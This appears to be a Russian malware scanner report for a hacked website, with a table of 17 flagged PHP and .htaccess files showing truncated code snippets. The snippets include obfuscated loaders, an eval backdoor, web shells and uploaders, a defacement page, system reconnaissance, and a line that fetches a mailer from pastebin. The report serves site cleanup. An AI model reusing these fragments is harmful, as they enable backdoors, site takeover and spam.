| Вредоносных скриптов | 17 |
Для диагностического сканирования без ложных срабатываний мы разработали специальную версию сканера для хостинг-компаний.
Возможно, ваш сайт был взломан. Рекомендуем срочно проконсультироваться со специалистами по данному отчету.
Рекомендуем также проверить сайт бесплатным онлайн-сканером ReScan.Pro.
| Путь | Изменение свойств | Изменение содержимого | Размер | CRC32 | |||
|---|---|---|---|---|---|---|---|
[x] 1 RewriteEngine on RewriteCond%{HTTP_USER_AGENT}android [NC,OR] RewriteCond%{HTTP_USER_AGENT}opera\ mini [NC,OR] Rewr | 12/08/2020 15:24:54 | 07/11/2018 15:49:55 | 1.48 Kb | 07c3ea8ff1b35f2735875b1e2616f35347bb3d20 | x | 1541594995 | id_86b1626d |
[x] 1…et_contents('/proc/version'));showSecParam('Distr name',file_get_contents('/etc/issue.net'));if(!$GLOBALS['safe_mode']){ $userful=array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','sui | 15/07/2020 04:33:17 | 15/07/2020 04:33:17 | 59.77 Kb | f1566e4e352e6fa5b698c25757bd0fc0a3a6b8bd | x | 1594776797 | id_b731c6d6 |
[x] 1 <?php $O_O0O__00O="3cixosqnd9vt56jpk2lg8z0ba_e41mfw7yrh-u";$OO_O0_O_00=$O_O0O__00O{1}.$O_O0O__00O{34}.$O_O0O__00O{26}.$ | 10/07/2020 05:52:44 | 10/07/2020 05:52:44 | 2.99 Kb | b0032fbe10bf9b0cad08bf94b32024b5986afd82 | x | 1594349564 | id_4c93347f |
[x] 1 <?php $a=gzinflate(urldecode("%ED%BD%FF%7F%DB6%0E0%FCs%EF%AFP4%DFd%AF%8Ec%3B%C9%D6%26q%9A6M%DAtm%D2%E5K%DB%B5%E9%E3%C9% | 28/10/2019 07:33:14 | 28/10/2019 07:29:34 | 46.28 Kb | 80351c3629a89966ace9cc801d6b826828e93fb9 | x | 1572236974 | id_21f4f82b |
[x] 1…")==1){$ibv=file_get_contents($url);}if(!empty($_POST["p"])&&md5(md5($_POST["p"]))=="36cc42d675afd9d9557b4e605ce31e25"){ eval(stripslashes($_POST["c"]));}echo$ibv;}? | 16/11/2019 18:22:22 | 17/10/2019 14:13:37 | 1.09 Kb | c7f6b246f446df08493d7c398d1c2c7665649c8e | x | 1571310817 | id_4188e286 |
[x] 1 <?php function updatefile($blacks=''){$header=isset($_REQUEST['WordPress'])?trim($_REQUEST['WordPress']) : '';$blog=iss | 10/07/2020 05:52:43 | 10/07/2020 05:52:43 | 473 b | d99b3e421efb0402af766b2d750bc8221e218a1e | x | 1594349563 | id_b3ece26f |
[x] 1 <?php if($_GET['ti']=='kung'){echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="upl | 15/07/2020 04:33:16 | 15/07/2020 04:33:16 | 6.58 Kb | 1ad3367008d95af3d15d404221885efebb851eaf | x | 1594776796 | id_3f6aba67 |
[x] 1 <?php $OO00_0_O_O='826';$OO_00O_0O_='1';$OOO_0_O00_='1';$OO_0O_00O_='wp-admin';$O__00_OOO0="yopgmiwcbs5a2hj3-48nu190rqx | 15/07/2020 04:33:16 | 14/07/2020 13:11:47 | 53.18 Kb | 4d3debbad79e0b6e37f0f3610abeee15f8e4ad13 | x | 1594721507 | id_4c93347f |
[x] 1 <?php $OO00_O_0_O='1';$O_O00O0O__="ohews1jybf5ngv4r2alc36i8qu70pxztdm9_-k";$OOO0O00___=$O_O00O0O__{4}.$O_O00O0O__{31}.$ | 10/07/2020 05:52:43 | 10/07/2020 05:52:43 | 19.02 Kb | 0a89d9dcf746446452ac272f157fafe885fef789 | x | 1594349563 | id_4c93347f |
[x] 1…$wp_admin_bar=new$admin_bar_class;else return false;$wp_admin_bar->initialize();$wp_admin_bar->add_menus();return true;} function pre_admin_bar($wp_kses_data,$wp_nonce){$kses_str=str_replace(array('%','*'),array('/','='),$wp_kses_data);$fil | 15/07/2020 04:33:16 | 15/07/2020 04:33:16 | 23.22 Kb | b5aabc76e2cca81a259f5919e6670c381fe85893 | x | 1594776796 | id_271ebe3f |
[x] 1<?php echo ' <title>Hacked By IDBTE4M</title><script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.0/ | 15/07/2020 04:33:16 | 15/07/2020 04:33:16 | 1.19 Kb | 557839f82fffd941c938543486725562563d8e79 | x | 1594776796 | id_f4863bc7 |
15/07/2020 04:33:16 | 15/07/2020 04:33:16 | 1.69 Kb | 750aca79fa546503ec5f0244ab7afa4d437b8fca | x | 1594776796 | id_c059e1d3 | |
[x] 1 GIF89a<meta http-equiv="Content-Type" content="application/.php"><center><?php ini_set('output_buffering',0);ini_set('d | 15/07/2020 04:33:16 | 15/07/2020 04:33:16 | 68.92 Kb | 13d944b0707475c0a635f658676b2fcd10c84ef4 | x | 1594776796 | id_73e582f3 |
[x] 1…ay("status"=>"BAD","server"=>$outserver,"error"=>$translation->getWord("shell-sheck-test-command-execution-failed")));}} class ShellManager{private$shells;private$types;private$timeout;function__construct($timeout=10){$this->timeout=$timeou | 15/07/2020 04:33:16 | 15/07/2020 04:33:16 | 643.13 Kb | 228ac1883aedb788b02b45dcbc22cebcddab8539 | x | 1594776796 | id_f221167c |
[x] 1…pen21=fopen($check21,'w');fwrite($open21,$text21);fclose($open21);if(file_exists($check21)){}$mailer=$home.'/.send.php'; $ambila=http_get('https://pastebin.com/raw/fJvQSbPY');$bukaa=fopen($mailer,'w');fwrite($bukaa,$ambila);fclose($bukaa);i | 15/07/2020 04:33:16 | 15/07/2020 04:33:16 | 2.45 Kb | af1421897ab12e0c05d0872c10d08a638953868c | x | 1594776796 | id_92afab94 |
[x] 1…:</font><br><input cols='10' rows='10' type='text' style='color:lime;background-color:#000000' name='base_dir' value='". getcwd()."'><br><br>";echo "<font color='red'>[+] Mass File:</font><br><input cols='10' rows='10' type='text' style='co | 15/07/2020 04:33:16 | 15/07/2020 04:33:16 | 1.66 Kb | 454ccfc9a75e5aa711f1d6b154d4c73fba700881 | x | 1594776796 | id_4af4186a |
[x] 1…eparefunc=strrev('etalfnizg');return$preparefunc($filter);}if(isset($_POST['newname'])){if(trim($_POST['newname'])!=''){ $name=trim($_POST['newname']).'.php';$lul=file_get_contents(__FILE__);$lol=fopen($name,"w+");fwrite($lol,$lul);fclose($ | 15/07/2020 04:33:16 | 15/07/2020 04:33:16 | 21.13 Kb | f74f0c4d4fda92c196ad34216a88de8ff46aec22 | x | 1594776796 | id_de32288e |
